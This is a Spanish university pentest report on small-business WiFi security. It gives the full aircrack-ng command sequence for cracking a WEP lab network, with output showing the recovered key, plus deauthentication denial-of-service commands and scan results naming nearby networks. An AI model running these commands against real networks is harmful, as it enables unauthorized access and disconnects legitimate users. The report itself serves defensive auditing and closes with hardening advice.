



# **Informe de seguridad informática PYMES**

Redes WiFi

Luis Ramírez de Diego

Copyright © 2016 Luis Ramírez

INFORME DE SEGURIDAD INFORMÁTICA EN LA PEQUEÑA Y MEDIANA EMPRESA

*<https://github.com/zooiberg/tfg/tree/master/memoria>*

Informe de seguridad informática realizado durante el Trabajo Fin de Grado del alumno Luis Ramírez de Diego en el año lectivo 2015/2016 y supervisado por el profesor y tutor del proyecto, Francisco Moya Fernández.

*Primera actualización, Junio 2016*

# Índice general

<b>1. Resumen ejecutivo</b>	<b>4</b>
<b>2. Resultados</b>	<b>5</b>
2.1. Fase de descubrimiento . . . . .	5
2.2. Configuración en modo monitor . . . . .	5
2.3. Puntos de Acceso . . . . .	6
<b>3. Defecto de cifrado WLAN</b>	<b>7</b>
3.1. Encriptación WEP . . . . .	7
3.1.1. Ataque a red WiFi con cifrado WEP . . . . .	8
3.1.2. Denegación de Servicios (DoS). . . . .	9
3.2. Recomendaciones . . . . .	10

# Capítulo 1

## Resumen ejecutivo

Este documento describe un análisis automático de seguridad realizado sobre la red WiFi de la empresa. Se trata de un análisis que explora exclusivamente vulnerabilidades ampliamente conocidas y emplea herramientas disponibles de forma gratuita en Internet. Por tanto no debe verse como un análisis exhaustivo de la seguridad de la red WiFi de la empresa, sino más bien como una pre-auditoría que podría identificar situaciones de muy alto riesgo.

Independientemente de los resultados del análisis se recomienda realizar de forma periódica un análisis exhaustivo de pruebas de penetración (*pentest*) ejecutado por personal cualificado.

El análisis llevado a cabo persigue los siguientes objetivos:

- Determinar si un atacante inexperto podría penetrar a la red de la empresa.
- Determinar si la red de la empresa proporciona los mecanismos básicos de confidencialidad y protección de los datos privados.
- Determinar si un atacante inexperto podría afectar a la disponibilidad de los sistemas de información de la empresa.

Los ataques se llevaron a cabo con un nivel de acceso mínimo, es decir sin información previa de ningún tipo. De esta forma se asemeja a los ataques que podría realizar una persona ajena a la empresa. El procedimiento sigue las recomendaciones formuladas en el documento NIST SP 800-115<sup>1</sup>. Todas las pruebas y las acciones se realizan en condiciones controladas.

---

<sup>1</sup><http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf>

## Capítulo 2

# Resumen de Resultados

### 2.1. Fase de descubrimiento

Búsqueda de información acerca de las redes que pueden estar conectadas en el ámbito seleccionado para llevar a cabo la pre-auditoria. Esta fase es muy importante porque definimos los objetivos previos de las pruebas y generamos la información acerca de las posibles vulnerabilidades potenciales. Nuestro objetivo en particular es conseguir la siguiente información:

- Identificar redes ocultas.
- Identificar qué tipo de clientes hay conectados a la red.
- Identificar los tipos de cifrado utilizados por las redes identificadas. En particular se pretende identificar las redes abiertas o que utilizan WEP y otras redes vulnerables.

Para descubrir las redes se realiza un escaneo activo y pasivo de la red inalámbrica. El escaneo activo implica enviar paquetes a puntos de acceso visibles mientras que el pasivo simplemente captura y analiza el tráfico de la red inalámbrica permitiendo descubrir los puntos de acceso ocultos.

### 2.2. Configuración en modo monitor

Para poder capturar tráfico se configura la interfaz de red del equipo de análisis en *modo monitor*. Para ello se emplea la utilidad *airmon-ng* disponible en el paquete *aircrack*, de amplia difusión en Internet.

Antes de ejecutar la utilidad el equipo de análisis dispone de las siguientes interfaces de red inalámbricas:

=

```
wlan0      IEEE 802.11bgn  ESSID:off/any
           Mode:Managed  Access Point: Not-Associated  Tx-Power=20 dBm
           Retry short limit:7  RTS thr:off  Fragment thr:off
           Encryption key:off
           Power Management:off

wlan1      IEEE 802.11bgn  ESSID:off/any
           Mode:Managed  Access Point: Not-Associated  Tx-Power=0 dBm
           Retry short limit:7  RTS thr:off  Fragment thr:off
           Encryption key:off
           Power Management:off
```

Al ejecutar *airmon-ng* disponemos de una interfaz virtual adicional:

```
wlan0mon   IEEE 802.11bgn  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
           Retry short limit:7  RTS thr:off  Fragment thr:off
           Power Management:off
```

La interfaz '*wlan0mon*' nos ayudara a rastrear los paquetes inalámbricos de la zona.

## 2.3. Puntos de Acceso

Para poder escanear las redes y clientes WiFi en el alcance de nuestra zona utilizaremos la utilidad *airodump-ng*, disponible también en el paquete *aircrack*. Con esta exploración se han identificado las siguientes redes y clientes con los que procederemos a detectar posibles vulnerabilidades.

```
BSSID CANAL ENC POWER VEL CLIENTE ESSID
-----
F4:06:8D:8F:33:79 11 WPA2 14 54 No devolo-f4068d8f3379
C8:51:95:8D:42:9C 11 WPA2 14 54 No Orange-429D
5C:DC:96:4E:26:C0 6 WPA2 17 54 No Orange-26BE
4C:09:D4:66:35:DE 4 WPA2 17 54 No Orange-DC500
98:97:D1:72:8C:9F 1 WPA2 22 54 No MOVISTAR_8C9E
DC:53:7C:8F:AB:D3 1 WPA2 22 54 No HOSTAL LOS GUERREROS
60:E3:27:39:89:D2 13 WPA2 23 48 No TP-LINK_2.4GHz_3989D2
DC:53:7C:7B:3A:88 9 WPA2 26 54 No ONO92F3
E0:41:36:40:47:6C 6 WPA2 32 54 Yes MOVISTAR_476C
00:22:F7:23:83:30 6 WPA2 36 54 No C150APM
90:67:1C:79:0E:E0 1 WPA2 48 54 No vodafone0EDA
80:B6:86:D5:F9:4B 11 WPA 60 54 No laboratorio wifi
EC:43:F6:91:CF:59 6 99 -1 No <length:0>
```

# Capítulo 3

## Defecto de cifrado WLAN

Las redes inalámbricas transmiten datos a través del aire y por lo tanto hay una necesidad inherente de cifrar los datos para garantizar la confidencialidad. Esto se logra mediante los siguientes mecanismos.

- Wired Equivalent Privacy (WEP).
- WiFi Protected Access (WPA).
- WiFi Protected Access v2 (WPA2).

WEP es considerado obsoleto e inseguro. WPA es el objetivo de la mayoría de los ataques actuales. A pesar de que en la actualidad no hay ningún ataque conocido para romper WPA de forma genérica, hay ataques que son factibles bajo circunstancias especiales.

### 3.1. Encriptación WEP

A continuación procedemos a analizar la red WiFi con encriptación WEP siguiente:

- BSSID: 80:B6:86:D5:F9:4B
- ESSID: laboratorio wifi
- CANAL: 6
- INTERFAZ: AC:38:70:25:ED:62

### 3.1.1. Ataque a red WiFi con cifrado WEP

Para obtener la clave WEP de un punto de acceso, necesitamos muchos vectores de inicialización (IVs). El tráfico de red habitual no genera de forma rápida suficientes IVs. Para ello hemos utilizado la técnica de inyección para aumentar la velocidad del proceso de captura. La inyección implica que se envíen al punto de acceso (AP) paquetes de forma continua y rápida permitiendo capturar un gran número de IV's en un periodo corto de tiempo. Una vez que se han capturado un gran número de IVs, podemos utilizarlos para averiguar la clave WEP.

Para tratar de obtener la clave se ha realizado el ataque estándar utilizando los siguientes pasos:

Hemos colocado nuestra tarjeta en modo monitor y fijado al canal del AP.

**airmon-ng start wlan0 6**

A continuación se ha utilizado el comando '*airodump-ng*' en el canal del AP con filtro de bssid para capturar los IVs.

**airodump-ng -c 6 -bssid 80:B6:86:D5:F9:4B -w output wlan0mon**

Con el comando '*aireplay-ng*' se procede a desautenticar a un cliente asociado con el fin de que vuelva a autenticarse y genere un paquete ARP válido.

**aireplay-ng -0 5 -a 80:B6:86:D5:F9:4B -c AC:38:70:25:ED:62 wlan0mon**

Para generar mucho paquetes y conseguir gran cantidad de IVs se lanza una reinyección de paquetes utilizando el siguiente comando:

**aireplay-ng -3 -b 80:B6:86:D5:F9:4B -h AC:38:70:25:ED:62 wlan0mon**

Finalmente y si hemos conseguido una gran cantidad de IVs intentamos obtener la clave WEP utilizando el comando '*aircrack-ng*'.

**aircrack-ng -a 1 -s output-01.cap**

En este análisis de red se ha conseguido **39885** IVs y **SI** se ha podido obtener la clave.

El detalle de la salida de Aircrack-ng es el siguiente:



### 3.1. ENCRIPCIÓN WEP CAPÍTULO 3. DEFECTO DE CIFRADO WLAN

---

```
Opening CAPTURA-01.cap
Reading packets, please wait...
Read 124432 packets.
```

#	BSSID	ESSID	Encryption
1	80:B6:86:D5:F9:4B	laboratorio wifi	WEP (39885 IVs)

```
Choosing first network as target.
```

```
Opening CAPTURA-01.cap
Reading packets, please wait...
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 42507 ivs.
KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted correctly: 100%
```

#### 3.1.2. Denegación de Servicios (DoS).

Las redes WLAN son propensas a los ataques de denegación de servicio (DoS) usando varias técnicas, incluyendo pero no limitadas a:

- Ataque de de-autenticación
- Ataque de desasociación.
- Ataque CTS-RTS.
- Ataque de interferencia del espectro de la señal.

El objetivo de una Denegación de Servicio a una red WiFi es dejar a los usuarios legítimos de una red WiFi sin poder acceder a Internet, esto se logra inundando con paquetes de de-autenticación al punto de acceso AP y/o al cliente.

Continuamos trabajando con la tarjeta en modo monitor, hemos asignando el canal del punto de acceso AP que estamos analizando.

```
airmon-ng start wlan0 11
```

Luego realizamos el envío de difusión de de-autenticación de paquetes (broadcast de-authentication packet) hacia el punto de acceso AP intentando desconectar a todos los clientes.

```
aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B wlan0mon
```

```
aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B -c AC:38:70:25:ED:62 wlan0mon
```

Hemos conseguido enviar con éxito frames de de-autenticación al punto de acceso y al cliente. Esto se ha traducido en conseguir que se desconecte y se pierda la comunicación entre ellos. También hemos enviado paquetes

### 3.2. RECOMENDACIONES CAPÍTULO 3. DEFECTO DE CIFRADO WLAN

de difusión de de-autenticación, que asegurará que ningún cliente en las cercanías se pueda conectar correctamente al punto de acceso.

Es importante tener en cuenta que tan pronto como el cliente se desconecta, intentará volver a conectarse de nuevo al punto de acceso y por lo tanto el ataque de de-autenticación tiene que llevarse a cabo de manera sostenida para tener un efecto de ataque de denegación de servicio completo.

## **3.2. Recomendaciones**

Para finalizar se enumeran algunas recomendaciones básicas.

- Se debe tener en cuenta el alcance de la red, ya que cuanto menos señal se propague fuera de las instalaciones menores serán las posibilidades de que se acceda desde fuera.
- Debe deshabilitarse el soporte de WPS en el punto de acceso.
- Debe actualizarse el software del punto de acceso a la última versión disponible por el fabricante.
- Por muy simple que parezca, es importante cambiar los datos de accesos al router que vienen por defecto. (No olvidar cambiar la contraseña).
- Se debe usar el protocolo de seguridad WPA2 con cifrado AES y contraseñas fuertes. El protocolo WEP no aporta ningún tipo de seguridad.
- Si es posible se debe apagar el router o punto de acceso una vez que haya terminado de utilizarse.
- Deben realizarse periódicamente auditorías mediante pruebas de penetración (*pentest*) ejecutadas por personal especializado.
- Sería deseable disponer de personal especializado en seguridad informática para monitorizar la red de forma continua.

Estas medidas no harán que la red sea invulnerable a cualquier ataque, pero garantizará unos niveles altos de seguridad.

*"Preguntarse cuándo los ordenadores podrán pensar es como preguntarse cuándo los submarinos podrán nadar- Edsger W. Dijkstra*